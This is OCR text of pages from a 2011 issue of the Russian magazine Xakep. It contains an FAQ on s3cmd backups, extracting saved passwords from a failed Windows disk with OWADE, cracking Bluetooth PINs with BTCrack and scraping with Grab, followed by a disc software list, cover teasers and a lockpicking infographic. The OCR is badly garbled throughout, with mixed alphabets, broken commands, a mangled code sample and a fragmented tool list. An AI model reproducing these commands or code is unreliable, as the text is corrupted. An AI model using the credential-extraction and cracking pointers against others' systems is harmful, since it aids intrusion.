>:г---------~--.-------~~-.------------,-------~~1

1 Selected

PPPoEPass

PPTPPass

1 2345ААМА

1122334455

1918171615

poiuy

PPPoEUser

PPTPUser

240.240.21~

PPPoEServ/

CloudBeгry Опliпе Backup сделаетрезервную копию данных в облаке Amazoп 53 RouteгPassView покажет пароли, сохраненные в раутере илиточке доступа

инструменты, как правило, по проще, но все-таки

вполнефункциональны,втомчислеиВоnkеу

1 the Ьас ku pmo rikey. Ы ogspot.co m). Linux. В случае с туксом я бы nредложил

использовать консольный s3-клиент s3cmd. В Ubuntu он входит в стандартный репазитарий [и позтомуустана вливается чере з менеджер

nа кетов: apt-get installsЗcmd) . Для того чтобы на­

строить клиент, ввести nару ключей , nарольдля

шифрования, а также указать другие параметры

работы с облаком 53, необходимо заnустить конфигуратор: s3cmd --coпfiguгe. На стройщик

nроверит соединение, и если они правильные,

nредложит сох ранить их в конфигурационный

файл. Очень здоров о, что в режи ме бзкаnа s3cmd очень сильно напоминает гsync:

sЗcmd --acl-private --bucket-location=EU --guess-mime-type --delete-removed sync 1 local/backup/ sЗ://xakep/backupfromservl

Добавляем команду на бэкап в с гоn и на­

слаждаемся самым надежным бэкапом, который

только можно nредставить [ хотя по сле инциден­

та с nоnаданием в дата-центры Amazon молнии в этом можно усомниться). Теперь что надо

сделат~е сливдругпонадобитсявосстановить

данные из ре зерв ной копии? Достаточно одной

команды:

s:gJ!Id s yncs~: 1 /ха kep/bac ku pfromser'll/ localL backup/

r.1 ЕСТЬ КУЧА ФАЙЛОВ С ЖЕСТКОГО ... ДИСКА, НА КОТОРОМ УЖЕ НЕ ПОДНИ­МАЕТСЯ СИСТЕМА. НЕОБХОДИМО ВОССТА­

НОВИТЬОТТУДАРАЗНЫЕ ПАРОЛИ IBTOM ЧИСЛЕ СОХРАНЕННЫЕ В БРАУЗЕРЕ) И

ДРУГУЮ ПРЕДСТАВЛЯЮЩУЮ ИНТЕРЕС

ИНФОРМАЦИЮ. КАК?

n В по следнее время ра звело с ьдовольного

181 многоутилит для nроведе ния подобны х fогеnsiсs-расследований. С задачей, в

частности , справится OWADE [OFFLINE Wl N DOWS Analyzeг and Data E xt гactor, bitbucket.

org/Eiie/owade). Он напи сан на Python'e, работает nод Linux 'o м и анализирует разделы

Windows. Посл е запуска 1./main.py) на 8080-м п ор ту открывается его админка ihttp:// loca lhost:8080/owade), через которую и осуществляется процесс граб бинга ценной

информации.

r.1 ИНТЕРЕСУЮСЬ ТЕМОЙ ВЗЛОМА ... ВLUЕТООТН.С ХОДУ ТАКИ НАНАШЕЛ РАБОЧЕГО БРУТАДЛЯ РIN-КЛЮЧА

[BLUETOOTH PASS PHRASE). ЕСТЬ ЛИ В ПАБЛИКЕ РЕШЕНИЯ, КОТОРЫЕДЕЙСТВИ­ТЕЛЬНО РАБОТАЮТ?

n Из nравильны х утилитможно выделить

181 ВТСгасk.Этоизначальновиндовое приложение I Ьit . ly/o KWЬij ), но у нее есть под

Liпux [ Ьit.ly/g HkCoQ ). Для взлома утилита используетданные,перехваченныевходе

nредыдущего процесс обмена ключами, п оэтом у

обязательным усл овием является наличие

дампа трафика [а для снифинга эфира , увы,

п одойдет не любой дон гл) . Bluetoot h устроен таким образом, что в лоб подобрать ключ не

представляется возможным , nоэтомуподобны х

утилит сейчас не так уж и много.

r.1 ЕСТЬ НЕОБХОДИМОСТЬ ПИСАТЬ

... ПАРСЕРЫ САЙТОВ НА PYTHON. КАКИЕ БИБЛИОТЕКИ МОЖНО ИСПОЛЬЗОВАТЬ?

n Из старенько го можно посмотреть в сторо н у

181 Beautiful Soup lwww.crummy.com/softwaгe/ BeautifuiSoup), lxml [lxml .de), sc rapy lscrapy.org ). Из новенького рекомендую GгаЬ [ Ьitbucket.oгg/

lorien/grab), библиотеку для парси нга сайтов от нашего соотечественника . Позволю себе

nроцитироватьдоступные возможности из статьи

самого автора I Ьit . ly/p9Srxf ):

подготовка сетевого запроса lcookies, httр-заголовки , РОSТ/GЕТ-данные);

запрос на сервер [возможно через

НТТР/SОСКS- прокси);

получение ответа сервера и е го п ервоначаль­

наяобработка[парсингзаголовков,парсинг

cookies, определение кодировки докуме нта ,

обработкаредиректа~

работа с ООМ-деревом ответа

[ если это НТМL-докуме нт);

работа с формами [заполнение,

автозаполнение);

отладка: легирование процесса в консоль,

сетевых запросов и ответов в файлы.

И для примера приведу простейший грабб ер,

который делает зап рос «xakep >> к Google'y и парсит первые 10 результатов:

g _" __ G.rg!).()_ ------·---····-·-··-----­g~gg_('l!:ttp:L/W_W_\'I~gQ_Qgle~CY' )

g.set_input(' q' , 'xakep' ) g.submit() for elem in g.itercss('#rso li hЗ а'): Rl'iлt _l,l_'~~--'-~s-~ _% _(e1eпt. ge1C I1r_e_e),

__ e1e_ш,t.ext...s:Rлt.eлt0_._:;t.rip0l -

r.1 ХОЧУ НАСЕРВЕРЕПОДНЯТЬСИСТЕ­... МУ, КОТОРАЯ БЫ АНАЛИЗИРОВАЛА ЛОГИ ПО ЗАДАННЫМ МНОЙ ПРАВИЛАМ И В СЛУЧАЕ ПРОБЛЕМ ТУТ ЖЕ ПОДНИМАЛА

ТРЕВОГУ. ПОТОКЛОГОВ ОЧЕНЬ БОЛЬШОЙ , ПОЭТОМУ НЕОБХОДИМО ОЧЕНЬ ШУСТРОЕ

РЕШЕНИЕ. НО ПРИ ЭТОМ ДОСТАТОЧНО

ГИБКОЕ, ЧТОБЫ ЧЕРЕЗ ПРАВИЛА МОЖНО

БЫЛО ОПИСАТЬ ПРАКТИЧЕСКИ ЛЮБОЙ ТРИГГЕР [УСЛОВИЯ СРАБАТЫВАНИЯ). СЕРВЕР РАБОТАЕТ НА FEDORA.

n Рекомендую попробовать Sagan l sagaп.

181 guadгantsec.com ). В отличие от дру ги х анализаторовлоговунего естьоднакласс ная

фишка -для определения тригерое он

использует систему правил известной

105-системы Snoгt. Прич ем если с принципами

составл ения рулесов разбираться нет желания,

то можно составить правила через вспомога­

тельные утилиты вроде oinkmaster loinkmaster. sourcefoгge.пet l и pulledpork icode.google.com/p/ pulledpork ). К слову, если Sпогtты уже и спользу­ешь, то Sagaп умеет в взаимодействовать с ним и

легировать обнаруженные события в его лаги . :Х:

ХАКЕР 10 /153/2011

Page 138: Хакер №10 (октябрь 2011)

»WIN

DO

WS

Ore

amC

oder

for

MvS

QL 6

.0

Dre

amC

oder

for

Ora

cle

6.0

Dre

amC

oder

for

Pos

tgre

SQL

6.0

EmEd

itor

Free

6.0

0.4

EmEd

itor

Prof

essi

onal

1 0.

1.1

Gho

stDoc

3.0

H

eloN

Doc

IO

Gra

oh 0

.9

NUni

t 2.5

.1 О

Odo

Pius

1.6

Po

stqre

SQL

9.1

ReS

harp

er 6

.0

Stvl

eCoo

4.5

Т es

tOriv

en.N

ET 3

.1.2

759

Bet

a V

isual

Ass

ist Х

10.6

V

isual

Par

adig

m f

or U

ML

8.2

Com

mun

ity E

ditio

n V

isuaiS

VN

2.0

.6

Visu

aiSV

N S

erve

r 2.1

.1 О

XR

efre

sh 1

.5

>Mis

c 4t

Т гаv

Min

imiz

er F

ree

5.52

8s

tart

Lau

nche

r 3.

0 A

utos

ensi

tivitv

1.4

B

ette

r Di

rect

ory

Anal

yzer

1.0

Bi

ns

Eve

leo

1.1

Fast

Prev

iew

FileM

indQ

uick

Fix

1.0

Ges

t 2.3

.0

Hot

keyP

Li

qhtS

hot 1

.4.0

M

icro

soft

Mat

hem

atic

s 4.

0 M

ouse

With

out

Bor

ders

Pr

ev 0

.5.3

Su

oerC

ooie

r 2.2

Bet

a To

uchF

reez

e 1.

0.2

>Mul

timed

ia\

AIM

P 2.6

1 Bu

ild 5

83

>Net

C

vber

duck

4.1

.2

Dvna

MAC

201

1-0

8-31

Fi

ddle

r2

G+7

1.2.

0.0

Link

Che

cker

7.1

Mira

nda

lM 0

.9.3

0 M

TP

um 1

.0 B

eta

Net

wor

kTra

fficV

iew 1

.00

SFTP

Net

Driv

e 1.

0.12

ShaгeScan 1

.0.0

.2

VPN

Wat

cher

W

akeM

eOnl

an v

1.1 О

Web

site

Load

Т oo

l 1.

0 Yo

rk 1

.50

> S

ecur

ity

Aan

itio

v2

AVZ

4.35

C

rvot

ohaz

e M

ultif

orce

r 1.

0 H

ashG

ener

ator

1.0

IN

SECT

Рго

2.6

.1

>Sys

tem

B

luet

ooth

Driv

er ln

stal

ler

1.0.

0. 72

B

oot-U

S 2.

1.8

CC

iean

er 3

.1 О

Che

ck O

isk G

UI

~~П)o_~orS~~

tem;

Ciea

ner

3.0.

17

Mal

war

ebyt

es A

nti-M

alw

are

1.51

.2.1

300

Min

imem

2.0

МооО S

yste

mM

onito

r 1.

64

Rec

uva

1.40

Se

cuni

a PS

I 2.0

So

eccv

1.1

2.26

5 SS

Diif

e Fr

ee 2

.1.2

9 US

B M

onito

r V

irtua

iBox

4.1

.2

Web

Loa

Sto

rmin

a

»U

NIX

>D

eskt

op

Clex

4.6

Co

nver

seen

0.4

.3

DouЫe C

omm

ande

r 0.5

.0

Gen

ius

1.0.

14

Gna

c 0.

2.3

GТKRawGallerv 0

.9.6

1 iH

epW

ork

3.1

Jom

ic О

. 9.3

3 K

wav

e 0.

8.6

Mol

aver

tool

s 7.

8 Q

tiPio

t О. 9

.8.8

Q

ucs

0.0.

16

Reco

ll 1.

15.8

Sh

otw

ell 0

.11

Tovi

d 0.

34

Veu

sz 1

.13

Vide

otгa

ns 1

.6.1

XPa

int 2

.9.8

.2

>Dev

el

Coll

aЫiv

e 0.

7 D

atab

ase

Dep

loym

ent

Man

ager

0

.1е

OB

eave

r 1.3

.4

dbm

1.9

D

hex

0.65

di

ffutil

s 3.

1 GD

B 7.3а

IP

vtho

n 0.1

1 JF

orm

Des

igne

r 5

JPPF

2.5

.2

Met

aMod

el 2

.0

MvJ

aui 0

.7.4

.1

.EvEv

..1J

at C

reat

or 2

.3

Rails

3.1

RKW

ard

0.5.

6 Sh

oaun

1.0

.0

Vaa

din

6.6.

6

>Net

A

dobe

Fla

sh P

laye

r 10

.3.1

81.2

2 Ba

GoM

a 1.

10

Biti

Bee

3.0

.3

Cone

0.8

9 Сг

ееру

Goo

ale

Chr

ome

13

Podd

er 2

.13

JFB

Cha

t 0.2

.2

Link

Chec

ker 7

.1 Li

noho

ne 3

.4.3

M

ozill

a Fi

refo

x 6.

0.2

Net

wor

kMan

aqer

0.9

O

pera

11.

51

at C

loud

Driv

e ui

RC 0

.7.1

1 Tv

rs 0

.4.0

W

aet 1

.13

Xvm

on A

lert

4.3.

4

>Sec

urity

A

ide

0.15

.1

Ara

chni

0.3

A

rmita

ae 0

9.08

.11

Bas

tille

3.2.

1 FB

Pwn

0.1.

3 Ls

hell

0.9.

14

Mal

heur

0.5

.2

~iddo 0

.4.0

Mo

Ьius

For

ensic

Т oo

lkit

0.5.

9

Ш!2!

У. 1

.1

Suric

a:-'ta'

-:1:-:.0:

-:.5:------

Т50 5

.4

Troi

an s

can

1.4.

1 Tr

ueCr

yp~t~7

-~1 _

__

__

__

__

_ _

UnH

ash

1.1

Web

secu

rify

0.8

Wire

shar

k 1.

6.2

Xfp

rot 2

.4

aids

al

APK

insp

ecto

r ВЕТА

Crv

otoh

aze

Mul

tifor

cer

1.0

>Ser

ver

ABiii

S 0.

53

Apa

che

2.2.

20

Ash

d O.ВMUSCLE 5

.56

MyS

QL 5

.5.1

5 O

oenL

DA

P 2.

4.26

O

oenS

SH 5

.9

Ope

nVPN

2.2

.1

Postf

ix 2

.8.5

Po

star

eSQ

L 9.

0.4

Sam

ba 3

.6.0

Se

ndm

ail

8.14

.5

>Sys

tem

A

pt-d

ater

0.8

.5

AQEM

U 0.

8.1

Ark

eia

9 B

leac

hBit

0.9.

0 Cc

fe 1

.51

Col

lect

d 5.

0.0

eMou

nt 0

.11

.2

Extc

arve

1.1

G4

L 0.

38

Giis

-ext

4 О. 7

нот 0

.5.0

05

5 4

QEM

U0.

15

Tvpv

rd 3

.3.2

>X-d

istr

Ch

rom

e 05

1.5

.849

M

andr

iva

Linu

x 20

11.0

SQLМАР

:АВТОМАТИЗАЦИЯ SQL-ИНЪЕКЦИЙ •

-·- СОБИРАЕМ

ЗD-СКАНЕРЗА$30

-·-КАК M

ICR

OSO

FT

ЗАКРЫВАЕТ БОТНЕТЫ

-·-ОБХОД ГРУППОВЫХ

ПОЛИТИК В ДОМЕНЕ

-------

о'

-ВСТРЕЧАЙТЕ НОВЫЙ ДИЗАЙН

РЕКОМЕНДОВАННАЯ

ЦЕНА:210р

.

DEFC

ON

. ОТЧЕТОТУЧАСТНИКОВ

1 ХАКЕРСКОМ СОРЕ8НО8АНММ D

EFC

OM

СП2011

1ПЕNЫЕУЧАСТ808АJIА РОССМЙСКАI KotU.НAA

. ОТОМ,КАКОНМТУДАПОПАIIММКАКОЕМЕСТО

1АНIЛМ-ОТПЕР80ГОЛМЦА

. J."i

itlililli

"ii[ij~j il

Page 139: Хакер №10 (октябрь 2011)

UNITS/ПPOЦECC

Lockpicking ИСКУССТВО ВСКРЫВАТЬЗАМКИ

1/;/,

Сверху- идеальный замок, снизу­

реальный дешевый замок. Отверстия

под пины просвер­

лены криво, и это

делает замок

небезопасным.

Из-за того что от-

верстия под п ины

не лежат строго

на одной линии, замок от поворота

в каждый момент времени удержи-

вает только один

пин. Если его под-

н ять- замок про-

вернется немного,

пока не будет заблокирован следующим пином.

Информационнаябезопасность

начинается с физического уровня,

и именно поэтомухакеров всегда

интересовали замки. Сегодня мы

посмотрим на устройство обычных

цилиндровыхзамков и выясним,

почемуже их таклегко вскрыть .

УСТРОЙСТВО ЗАМКА В ДВУХ ПРОЕКЦИЯХ

Этот ключ откроет замок, все пины на месте.

А этот- не откроет,

Самый простой способ взлома- ручной последовательный перебор пинов с помо­

щью двух отмычек:

первая служит для пово­

рота замка, а вторая­

для перебора пинов.

Дру г ие варианты: отмычка-гребенка, которую нужно двигать

вперед-назад. Либо отмычка, открывающая

замок по технологии

бампинга:специальный

девайс бьет по цилинд-рам. из-за чего они

подлетают кверху

и замок открывается.

ХАКЕР 10/153/201 1

.. ж s

" t I .. а. s ~ ~

..;;